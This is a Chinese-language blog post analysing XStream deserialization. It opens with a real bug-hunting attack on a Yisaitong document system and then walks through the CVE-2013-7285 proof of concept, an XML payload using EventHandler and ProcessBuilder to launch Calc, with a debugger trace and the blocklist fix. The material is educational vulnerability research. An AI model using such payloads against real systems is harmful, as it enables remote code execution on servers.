一次渗透引出的Java反序列化之XStream反序列化

前言:

事情起源于一次挖eud某证书站的时候,遇到一个亿赛通电子文档管理系统,知道该系统之前爆过反序列化rce的洞,于是去网上搜一些反序列化的payload,最后竟然也是成功打下了,而那些反序列化就是xstream反序列化,因为之前没有系统学习过,所以现在他来了

stop!先讲一下那个亿赛通的反序列化,就当提前了解了

漏洞分析

因为我没有亿赛通的源码,所以主要还是参考网上的复现文章简单的来分析一下

https://0xf4n9x.github.io/cdg-xstream-deserialization-arbitrary-file-upload.html

漏洞出现点是在WEB-INF/lib/jhiberest.jar文件,在反编译后是发现了xstream的关键字,且依赖也是低版本1.4.9

public class SystemService extends HttpServlet {
    private static final Log log = LogFactory.getLog(FilesService.class);
    private static String retrunString = "";
    private static final long serialVersionUID = -3607772408578536033L;
    private XStream xStream = ServiceUtil.getStream();
    private UserDao userDao = new UserDao();
    private UsbKeyDao usbKeyDao = new UsbKeyDao();
    private SecretDocDao secretDocDao = new SecretDocDao();
    private SecretUserDao secretUserDao = new SecretUserDao();

    public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        try {
            String command = request.getParameter("command").toString();
            if (command != null && command.length() > 0) {
                switch (CommandConstants.getCommandValue(command)) {
                    case CommandConstants.GETSYSTEMINFO /* 1601 */:
                        getSystemInfo(request, response);
                        break;
                }
            }
        } catch (Exception e) {
        }
    }

    private void getSystemInfo(HttpServletRequest request, HttpServletResponse response) {
        SystemReturn systemReturn = new SystemReturn();

        try {
            String xmlStr = ServiceUtil.getXMLFromRequest(request);
            SystemServiceRequest systemServiceRequest = (SystemServiceRequest)this.xStream.fromXML(xmlStr);
            systemReturn.setReturnMessage("OK");
            systemReturn.setSecretKey(DocInfoModel.getCDGKey());

            // ...

        } catch (Exception e2) {
            retrunString = "";
            e2.printStackTrace();
            log.error("取系统信息" + e2.getMessage());
            systemReturn.setReturnMessage(ErrorConstants.SYSTEMSERVICE_ERROR);
            ServiceUtil.sendInfo(request, response, this.xStream.toXML(systemReturn));
        }
    }
}

要想要走到触发xstream反序列化的地方即GETSYSTEMINFO才会顺利进入到getSystemInfo方法

且中间request请求还会经过ServiceUtil.getXMLFromRequest方法处理,但主要就是一些编码,可以逆向解码来编码或者后续直接调用该方法也可以

最后走到xStream.fromXML(xmlStr)触发反序列化

后续就是构造恶意的payload编码后传给xStream.fromXML就成功了

所以我们可以发现,在这个过程中触发xstream反序列化的关键函数就是fromXML函数!

XStream基础:

概念:

XStream 是一个简单的基于 Java 库,Java 对象序列化到 XML,反之亦然(即:可以轻易的将 Java 对象和 XML 文档相互转换)

xstream和fastjson有一样的地方就是不同于java原生的反序列化方法,而是采用特定的方式对java对象进行转换即序列化和反序列化

demo演示:

创建一个maven项目,然后导入依赖

<dependency>
    <groupId>com.thoughtworks.xstream</groupId>
    <artifactId>xstream</artifactId>
    <version>1.4.10</version>
</dependency>

先定义一个接口类IPerson.java

public interface IPerson {  
    void output();  
}

然后定义一个Person类实现前面的接口:

public class Person implements IPerson {  
    String name;  
    int age;  
  
    public void output() {  
        System.out.print("Hello, this is " + this.name + ", age " + this.age);  
    }  
}

Xstream序列化是通过XStream.toXML() 来实现的(就像tojson一样)

public class Serialize {  
    public static void main(String[] args) {  
        Person p = new Person();  
        p.age = 6;  
        p.name = "pmv57";  
        XStream xstream = new XStream(new DomDriver());  
        String xml = xstream.toXML(p);  
        System.out.println(xml);  
    }  
}

image

然后写个发序列化看看,XStream 反序列化是用过调用 XStream.fromXML() 来实现的,其中获取 XML 文件内容的方式可以通过 Scanner()FileInputStream 都可以:

package org.example.demo;

import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.util.Scanner;

public class Deserialize {
    public static void main(String[] args) throws FileNotFoundException {
//       String xml = new Scanner(new File("person.xml")).useDelimiter("\\Z").next();
        FileInputStream xml = new FileInputStream("D:\\Security\\JavaStudy\\java_src\\serialize\\Xstream\\demo\\src\\main\\java\\org\\example\\demo\\person.xml");
        XStream xstream = new XStream(new DomDriver());
        Person p = (Person) xstream.fromXML(xml);
        p.output();
    }
}

image

然后这就是简单看一下xstream是如何反序列化的

XStream 类图

image

注:引用drun1baby师傅的图片

这几个部分我就不都一一分析了,主要还是分析一下最重要的DynamicProxyConverter 动态代理转换器,这是存在xstream反序列化的漏洞最主要的原因

DynamicProxyConverter 动态代理转换器

DynamicProxyConverter是xstream支持的一种动态代理转换器

image

他可以将xml中的dynamic-proxy标签中的内容转换成对应的动态代理对象,而当动态代理对象调用了dynamic-proxy标签内的interface标签指向的接口中声明的方法,根据之前学习的动态代理机制,就知道他会触发对应的handler也就是dynamic-proxy标签下handler节点的EventHandler中的invoke方法

<dynamic-proxy>  
  <interface>com.foo.Blah</interface>  
  <interface>com.foo.Woo</interface>  
  <handler class="com.foo.MyHandler">  
    <something>blah</something>  
  </handler>  
</dynamic-proxy>

CVE_2013_7285

拿一个Xstream最初的漏洞来学习一下

poc:

<sorted-set>  
  <dynamic-proxy>  
    <interface>java.lang.Comparable</interface>  
    <handler class="java.beans.EventHandler">  
      <target class="java.lang.ProcessBuilder">  
        <command>  
          <string>Calc</string>  
        </command>  
      </target>  
      <action>start</action>  
    </handler>  
  </dynamic-proxy>  
</sorted-set>

触发代码:

package org.example.demo;

import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;

import java.io.FileInputStream;

public class cve_2013_7285 {
    public static void main(String[] args) throws Exception{
        FileInputStream fileInputStream = new FileInputStream("D:\\Security\\JavaStudy\\java_src\\serialize\\Xstream\\demo\\src\\main\\java\\org\\example\\demo\\person.xml");
        XStream xStream = new XStream(new DomDriver());
        xStream.fromXML(fileInputStream);
    }
}

然后运行之后成功弹出计算器

image

源码分析:

断点首先下到TreeUnmarshaller中的start方法,会调用HierarchicalStreams.readClassType() 来获取到 PoC XML 中根标签的类类型

image

然后跟到readClassType方法中,发现会mapper.realClass() 进行循环遍历(用来查找xml中的根标签为什么类型)

image

然后跟出来到下一步convertAnother函数对java.util.SortedSet 类型进行转换

image

跟进去看一下,发现调用了mapper.defaultImplementationOf() 函数来寻找 java.util.SortedSet 类型的默认实现类型进行替换,这里转换为了 java.util.TreeSet 类型

image

image

然后就是寻找Convert,这里找到的对应的转换器是TreeMapConverter

image

然后会执行到AbstractReferenceUnmarshaller.convert()中,并且会调用getCurrentReferenceKey() 来获取当前的 Reference 键,并且会将当前的 Reference 键压到栈中(这个键在后续会和保存的java.util.TreeSet 类一一对应)

image

紧接着调用父类的FastStack.convert() 方法,发现将类型压入栈,然后调用TreeSetConverter 的unmarshal方法(存疑,代码有问题)

image

跟进去看看,它会调用unmarshalComparator方法,这个方法通过判断reader 是否还有子元素来获取xml根元素的子元素

image

image

而reader.moveDown()会把子元素获取并添加到当前 context 的 pathTracker

image

回到TreeSetConverter.unmarshal()方法中,看一下this.treeMapConverter.populateTreeMap()这个函数

image

image

在这个方法里,xstream就开始处理了xml里面其他的节点元素,首先判断是不是第一个元素,是的话就调用putCurrentEntryIntoMap()函数,就是将当前的内容缓存到map中

跟进去看一下,发现调用 readItem() 方法读取标签内的内容并缓存到当前 Map 中

image

在跟进readitem方法,会发现他又调用了HierarchicalStreams.readClassType()context.convertAnother() 方法

image

跟进去看一下,这里我们可以看mapper发现他其中还是两个元素,而xstream就会处理最里层的那个

而他同时会返回一个type,就是最新最里层的那个子元素类型,我们跟代码看赋值发现是com.thoughtworks.xstream.mapper.DynamicProxyMapper#DynamicProxy,对应的转换器为 DynamicProxyConverter

image

我们所编写的xml获取到的子元素为<interface>,然后跟进DynamicProxyConverter的unmarshal里面会判断if (elementName.equals("interface")),如果为 true,则将目前 <interface> 节点的元素获取到,再获得转换类型

image

在我们写的xml中在interface下还存在子元素,获取完完 <interface> 后重新进入这个迭代,下一个获取到的子元素是 <handler>

image

然后继续向下,在DynamicProxyConverter中125行(看个人,但都是在附近)调用了Proxy.newProxyInstance() 方法,是用来实例化代理类的过程

然后在127行(同理看个人)调用context.convertAnother() 方法,跟进一下

image

对应的转换器是AbstractReflectionConverter,跟进,发现会先调用instantiateNewInstance() 方法实例化一个 EventHandler

image

继续在AbstractReflectionConverter中,到429行左右(同理,看个人情况),看代码赋值type为class java.lang.ProcessBuilder

image

后续就是继续的xstream处理xml,都是类似的运行流程

然后最后的最后又会到treeMapConverter.populateTreeMap() 这个地方

image

然后一直步过,直到122行调用了put.all方法,变量是sortedMap,我们可以看一下赋值发现就是一段链式存储的数据

image

最后最后调用到EventHandler#invoke方法

invoke:428, EventHandler (java.beans)
compareTo:-1, $Proxy0 (com.sun.proxy)
compare:1294, TreeMap (java.util)
put:538, TreeMap (java.util)
putAll:281, AbstractMap (java.util)
putAll:327, TreeMap (java.util)
populateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections)

漏洞修复:

官方增加了黑名单:

用户可以为动态代理注册自己的转换器,即 java.beans.EventHandler 类型或 java.lang.ProcessBuilder 类型,这也可以防止这种特殊情况的攻击:

xstream.registerConverter(new Converter() {
  public boolean canConvert(Class type) {
    return type != null && (type == java.beans.EventHandler || type == java.lang.ProcessBuilder || Proxy.isProxy(type));
  }

  public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
    throw new ConversionException("Unsupported type due to security reasons.");
  }

  public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
    throw new ConversionException("Unsupported type due to security reasons.");
  }
}, XStream.PRIORITY_LOW);

参考文章:

posted @ 2025-08-06 14:27  Zephyr07  阅读(90)  评论(0)    收藏  举报